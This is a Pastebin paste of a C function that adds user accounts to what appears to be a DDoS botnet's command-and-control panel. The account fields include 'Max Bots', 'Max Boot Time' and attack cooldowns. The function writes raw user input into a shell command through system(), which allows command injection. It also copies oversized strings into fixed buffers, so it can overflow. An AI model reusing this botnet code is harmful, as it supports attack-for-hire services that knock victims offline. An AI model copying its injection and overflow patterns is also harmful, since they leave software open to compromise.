Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void *adduser(int thefd)
- {
- sprintf(botnet, "Username: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char username[1024];
- strcpy(username,buf);
- sprintf(botnet, "Password: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char password[1024];
- strcpy(password,buf);
- sprintf(botnet, "Admin/Normal: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char admin[1024];
- strcpy(admin,buf);
- sprintf(botnet, "Max Bots: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char plan[1024];
- strcpy(plan,buf);
- sprintf(botnet, "Max Boot Time: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char bt[1024];
- strcpy(bt,buf);
- sprintf(botnet, "Expire Date: ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char exp[1024];
- strcpy(exp,buf);
- sprintf(botnet, "Cooldown (0 for none): ");
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
- memset(buf,0,sizeof(buf));
- if(fdgets(buf, sizeof(buf), thefd) < 1);
- trim(buf);
- char cool[1024];
- strcpy(cool,buf);
- char buf2[1024];
- char send1[512];
- sprintf(send1,"%s %s %s %s %s %s %s",username,password, admin, plan, bt, exp, cool);
- sprintf(buf2,"echo %s >> users.sql",send1);
- system(buf2);
- memset(buf2,0,sizeof(buf2));
- sprintf(botnet, "\e[0;32mAccount Added As: %s!\r\n", username);
- if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement